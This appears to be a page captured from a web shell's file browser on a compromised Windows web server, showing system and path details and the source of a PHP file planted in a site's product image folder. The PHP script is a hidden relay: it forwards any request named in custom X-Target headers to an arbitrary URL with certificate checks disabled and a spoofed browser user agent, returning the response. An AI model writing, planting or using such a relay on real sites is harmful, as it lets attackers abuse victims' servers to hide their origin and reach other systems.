System: Windows NT WINDOWS18 10.0 build 17763 (Windows Server 2016) AMD64 | User: IWPD_3544(appclien)
Path: D:\Inetpub\vhosts\appclients.in\fruits-vegitables.nmvm.org\image\product
[Back to List]
<?php
$url = $_SERVER['HTTP_X_TARGET_URL'];
$method = $_SERVER['HTTP_X_TARGET_METHOD'] ?: 'GET';
$headers_json = $_SERVER['HTTP_X_TARGET_HEADERS'];
$body = file_get_contents('php://input');
if (!$url) {
die("NO_URL");
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36');
if ($headers_json) {
$headers = json_decode($headers_json, true);
$curl_headers = [];
if (is_array($headers)) {
foreach ($headers as $k => $v) {
if (strtolower($k) == 'user-agent') continue;
$curl_headers[] = "$k: $v";
}
}
curl_setopt($ch, CURLOPT_HTTPHEADER, $curl_headers);
}
if ($body) {
curl_setopt($ch, CURLOPT_POSTFIELDS, $body);
}
$response = curl_exec($ch);
$info = curl_getinfo($ch);
$error = curl_error($ch);
curl_close($ch);
echo "--- STATUS: " . $info['http_code'] . " ---\n";
if ($error) {
echo "--- ERROR: " . $error . " ---\n";
}
echo $response;
?>